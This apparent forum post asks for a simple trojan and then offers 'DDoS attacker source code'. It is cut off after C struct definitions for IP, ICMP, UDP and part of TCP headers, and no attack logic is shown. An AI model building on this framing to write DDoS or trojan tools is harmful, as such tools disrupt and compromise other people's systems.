有哪位大哥OR大姐能不能跟我写一个简单的木马啊？

一个ddos攻击器源代码
1

struct ip_hdr
/* ip header */
{
unsigned char ip_hl:4;
unsigned char ip_v:4;
unsigned char ip_tos;
unsigned short ip_len;
unsigned short ip_id;
unsigned short ip_off;
unsigned char ip_ttl;
unsigned char ip_p;
unsigned short ip_sum;
unsigned long ip_src;
unsigned long ip_dst;
};

struct icmp_hdr
/* icmp header */
{
unsigned char icmp_type;
unsigned char icmp_code;
unsigned short icmp_cksum;
unsigned short icmp_id;
unsigned short icmp_seq;
};

struct udp_hdr
/* udp header */
{
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
};

struct tcp_hdr
/* TCP header */
{
unsigned short th_sport;
unsigned short th_dport;
unsigned long th_seq;
unsigned long th_ack;
unsigned char th_x2:4;
unsigned char th_off